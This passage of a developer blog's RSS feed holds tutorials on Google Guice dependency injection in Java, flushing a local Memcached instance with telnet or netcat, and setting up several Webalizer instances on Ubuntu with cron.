        Guice.createInjector(new MyModule()).getInstance(Payment.class).pay();
    }
}
</pre>
<p><b>MyModule</b><br />
You can specify the hierarchy in the moduleclass</p>
<pre class="prettyprint" lang-java>
public class MyModule extends AbstractModule {
    @Override
    protected void configure() {
        bind(Payment.class).to(PaymentCardImpl.class);
        bind(PaymentCardImpl.class).to(PaymentVisaCard.class);
    }
}
</pre>
<p>If you run this code, the Visa Card will be used.<br />
<u>Annotationbindings</u><br />
It&#8217;s also possible to use annotations for injection<br />
<b>Payment</b><br />
There&#8217;s nothing special in the interface and implementations:</p>
<pre class="prettyprint" lang-java>
public interface Payment {
    public void pay();
}
</pre>
<p><b>PaymentCardImpl</b></p>
<pre class="prettyprint" lang-java>
public class PaymentCardImpl implements Payment{
    public void pay() {
        System.out.println("I pay with a card");
    }
}
</pre>
<p><b>PaymentCashImpl</b></p>
<pre class="prettyprint" lang-java>
public class PaymentCashImpl implements Payment {
    public void pay() {
        System.out.println("I pay cash");
    }
}
</pre>
<p>Next, we have to created the annotations @cash and @Card<br />
<b>Cash</b></p>
<pre class="prettyprint" lang-java>
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.ElementType;
import java.lang.annotation.Target;

import com.google.inject.BindingAnnotation;

@Retention(RetentionPolicy.RUNTIME)
@Target({ElementType.FIELD, ElementType.PARAMETER})
@BindingAnnotation
public @interface Cash { }
</pre>
<p><b>Card</b></p>
<pre class="prettyprint" lang-java>
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.ElementType;
import java.lang.annotation.Target;

import com.google.inject.BindingAnnotation;

@Retention(RetentionPolicy.RUNTIME)
@Target({ElementType.FIELD, ElementType.PARAMETER})
@BindingAnnotation
public @interface Card { }
</pre>
<p><b>Main</b></p>
<pre class="prettyprint" lang-java>
public class Main {
    public static void main(String[] args) {
        Guice.createInjector(new PayModule()).getInstance(Order.class).finishOrder();
    }
}
</pre>
<p><b>Module</b><br />
You have to specify which annotations refers to which implementation in the moduleclass</p>
<pre class="prettyprint" lang-java>
public class PayModule extends AbstractModule{
    @Override
    protected void configure() {
        bind(Payment.class).annotatedWith(Cash.class).to(PaymentCashImpl.class);
        bind(Payment.class).annotatedWith(Card.class).to(PaymentCardImpl.class);
    }
}
</pre>
<p><b>Order</b><br />
Now you can use the annotation in your code to inject the right class</p>
<pre class="prettyprint" lang-java>
public class Order {

    @Inject
    private @Card Payment payment;
   ...
</pre>
<p>If you want to chane Cardpayments to Cashpayments, just change the @Card annotation to @Cash</p>
<p><u>Namedannotationbindings</u><br />
You can also use named annotations. This is a Guice annotation where the value is specified inside the moduleclass.<br />
The paymentinterface, the Main and the Cash and Card implementations are the same as the previous example.<br />
<b>Module</b><br />
Give the annotations a name (&#8220;Cash&#8221; and &#8220;Card&#8221;)</p>
<pre class="prettyprint" lang-java>
public class PayModule extends AbstractModule{
    @Override
    protected void configure() {
        bind(Payment.class).annotatedWith(Names.named("Cash")).to(CashPayment.class);
        bind(Payment.class).annotatedWith(Names.named("Card")).to(CardPayment.class);
    }
}
</pre>
<p><b>Main</b></p>
<pre class="prettyprint" lang-java>
 * @author wim
 */
public class Main {
    public static void main(String[] args) {
        Injector inj = Guice.createInjector(new PayModule());
        Order order = inj.getInstance(Order.class);
        order.getPaymentCard().pay();

        Guice.createInjector(new PayModule()).getInstance(Order.class).getPaymentCash().pay();
    }
}
</pre>
<p><b>Order</b><br />
Now you can use them in your order</p>
<pre class="prettyprint" lang-java>
public class Order {

    private Payment paymentCash;
    private Payment paymentCard;

    @Inject
    public void setPaymentCash(@Named("Cash") Payment payment){
        this.paymentCash=payment;
    }

    public Payment getPaymentCash(){
        return paymentCash;
    }

    @Inject
    public void setPaymentCard(@Named("Card") Payment payment){
        this.paymentCard=payment;
    }

    public Payment getPaymentCard(){
        return paymentCard;
    }
}
</pre>
<p>These annotations are very simple but I don&#8217;t recommend them. Guice doesn&#8217;t check them on spelling or validity so they are kinda error prone.<br />
<u>Instancebinding</u><br />
With instancebinding, you can easily give a value to an instance<br />
<b>Module</b><br />
Give a value to a name inside the module</p>
<pre class="prettyprint" lang-java>
public class MyModule extends AbstractModule {
    @Override
    protected void configure() {
        bind(String.class)
        .annotatedWith(Names.named("PaymentType"))
        .toInstance("...I'm a Visa Card...");
    }
}
</pre>
<p><b>Main</b></p>
<pre class="prettyprint" lang-java>
public class Main {
    public static void main(String[] args) {
        String text = Guice.createInjector(new MyModule()).getInstance(Order.class).getText();
        System.out.println(text);
    }
}
</pre>
<p><b>Order</b><br />
Use the annotation.  The String text will be injected with &#8220;&#8230;I&#8217;m a Visa Card&#8230;&#8221;.</p>
<pre class="prettyprint" lang-java>
public class Order {

    @Named("PaymentType")
    @Inject
    private String text;

    public String getText(){
        return text;
    }
}
</pre>
<p><u>Providers</u><br />
The last example is with the use of providers.<br />
A provider can be used when you have to craete an object. You have to annotate it with the @Provides annotation and the return type is the bound type.<br />
<b>Payment</b></p>
<pre class="prettyprint" lang-java>
public interface Payment {
    void pay();
    int getAmount();
}
</pre>
<p><b>CashPayment</b></p>
<pre class="prettyprint" lang-java>
public class CashPayment implements Payment{

    private int amount;

    public void pay() {
        System.out.println("Inside cashpayment");
    }

    public void setAmount(int amount){
        this.amount=amount;
    }

    public int getAmount(){
        return amount;
    }
}
</pre>
<p><b>Main</b></p>
<pre class="prettyprint" lang-java>
public class Main {
    public static void main(String[] args) {
        Payment payment = Guice.createInjector(new MyModule()).getInstance(Payment.class);
        payment.pay();
        System.out.println(payment.getAmount());
    }
}
</pre>
<p><b>MyModule</b><br />
Inside the module class, we can construct the class and set the amount of payment.</p>
<pre class="prettyprint" lang-java>
public class MyModule extends AbstractModule{

    @Override
    protected void configure() {
    }

    @Provides
    Payment providePayment(){
        CashPayment pay = new CashPayment();
        pay.setAmount(100);
        return pay;
    }
}
</pre>
<p><u>Conclusion</u><br />
You can do more with Guice than described above but that&#8217;s up to you to find out.<br />
<b>I love Guice!!</b> It&#8217;s pretty simple and works very good. You don&#8217;t have to use XML to bind your classes and it&#8217;s very lightweight. If you just wan&#8217;t to use Dependency Injection, Guice is in my opinion the number 1.<br />
<script type="text/javascript">var dzone_url = 'http://dev.eek.be/?p=66';</script><br />
<script type="text/javascript">var dzone_title = 'Dependency Injection with Google Guice by example';</script><br />
<script type="text/javascript">var dzone_blurb = 'Google Guice by example';</script><br />
<script type="text/javascript">var dzone_style = '1';</script><br />
<script language="javascript" src="http://widgets.dzone.com/links/widgets/zoneit.js"></script> </p>
]]></content:encoded>
			<wfw:commentRss>http://dev.eek.be/2009/09/dependency-injection-with-google-guice/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>How to flush the contents of Memcached</title>
		<link>http://dev.eek.be/2009/09/memcache/</link>
		<comments>http://dev.eek.be/2009/09/memcache/#comments</comments>
		<pubDate>Mon, 21 Sep 2009 12:48:58 +0000</pubDate>
		<dc:creator>Wim</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[servers]]></category>
		<category><![CDATA[tutorials]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[memcached]]></category>
		<category><![CDATA[telnet]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://dev.eek.be/?p=45</guid>
		<description><![CDATA[I often see people using telnet to flush the entire contents of their Memcached instance. They use the following commands: $ telnet localhost 11211 Trying 127.0.0.1… Connected to localhost. Escape character is ‘^]’. flush_all OK quit Connection to localhost closed by foreign host. $ You have to log in into the appropriate memcached host and ]]></description>
			<content:encoded><![CDATA[<p>I often see people using telnet to flush the entire contents of their Memcached instance.<br />
They use the following commands:</p>
<pre class="prettyprint">
$ telnet localhost 11211
Trying 127.0.0.1…
Connected to localhost.
Escape character is ‘^]’.
flush_all
OK
quit
Connection to localhost closed by foreign host.
$
</pre>
<p>You have to log in into the appropriate memcached host and port with telnet. After logged in, you have to use the flush_all command. If this command responses with OK, everything went fine and you can log out of your memcached server using the command quit.</p>
<p>The above command works fine but is a pain in the ass if you have to flush a lot and wants to use your console for other things.<br />
If this is the case, you can run a flush_all in 1 command </p>
<pre class="prettyprint">
echo 'flush_all' | nc localhost 11211
</pre>
<p>By default, nc (or netcat) creates a TCP socket either in listening mode (server socket) or a socket that is used in order to connect to a server (client mode). Actually, netcat does not care whether the socket is meant to be a server or a client. All it does is to take the data from stdin and transfer it to the other end across the network.</p>
]]></content:encoded>
			<wfw:commentRss>http://dev.eek.be/2009/09/memcache/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Use multiple instances of Webalizer on one server</title>
		<link>http://dev.eek.be/2009/09/use-multiple-instances-of-webalizer-on-one-server/</link>
		<comments>http://dev.eek.be/2009/09/use-multiple-instances-of-webalizer-on-one-server/#comments</comments>
		<pubDate>Sat, 12 Sep 2009 21:36:23 +0000</pubDate>
		<dc:creator>Wim</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[servers]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[server management]]></category>
		<category><![CDATA[webalizer]]></category>

		<guid isPermaLink="false">http://dev.eek.be/?p=34</guid>
		<description><![CDATA[In most of the cases, there is more than just one website on a server. Though, it is very important that you can measure the stats of all the websites separately. I&#8217;ll tell you in a few lines how you can achieve this with webalizer. This tutorial is tested with Webalizer on Ubunty but I ]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone size-full wp-image-36" title="webalizer" src="http://dev.eek.be/wp-content/uploads/2009/09/webalizer.png" alt="webalizer" width="521" height="267" /></p>
<p>In most of the cases, there is more than just one website on a server.<br />
Though, it is very important that you can measure the stats of all the websites separately.<br />
I&#8217;ll tell you in a few lines how you can achieve this with <a href="http://www.mrunix.net/webalizer/" target="_blank">webalizer</a>.</p>
<p><span id="more-34"></span></p>
<p>This tutorial is tested with Webalizer on Ubunty but I presume it will work almost the same way in other distros.</p>
<p>First of all you have to install webalizer on your system.</p>
<pre class="prettyprint">
sudo apt-get install webalizer
</pre>
<p>After installation of webalizer, the configurationfiles are per default stored in /etc/webalizer.<br />
Move to that directory and make a copy of the config-file.</p>
<pre class="prettyprint">
sudo cp webalizer.conf MySiteName.conf
</pre>
<p>When the copy is created you have to open it in your favorite editor (I use vim)</p>
<pre class="prettyprint">
sudo vim MySiteName.conf
</pre>
<p>Scroll down till you find the LogFileattribute and change it to the accesslogfile of MySiteName.<br />
You also have to tell the script where the outputfiles will be stored. This is normally a place which is accessible by the browser.</p>
<pre class="prettyprint">
LogFile /www/mysite/logs/access.log
OutputDir /www/mysite/public_html/webalizer
</pre>
<p>These are the only 2 parameters which you have to change. You can scroll through the rest of the file and make changes towards your preferences.</p>
<p>All is done now so you can run webalizer with the new configuration file</p>
<pre class="prettyprint">
webalizer -c /etc/webalizer/MySiteName.conf
</pre>
<p>Webalizer will run and should be accessible through your webbrowser.<br />
Obviously, it would kinda suck if you have to run the webalizerscript every time you want to see the stats so we gonna make a cron which will run the script every hour</p>
<pre class="prettyprint">
crontab -e
</pre>
<p>And fill in:</p>
<pre class="prettyprint">
0 * * * * webalizer -c /etc/webalizer/MySiteName.conf
</pre>
<p>Voila, all done <img src='http://dev.eek.be/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://dev.eek.be/2009/09/use-multiple-instances-of-webalizer-on-one-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

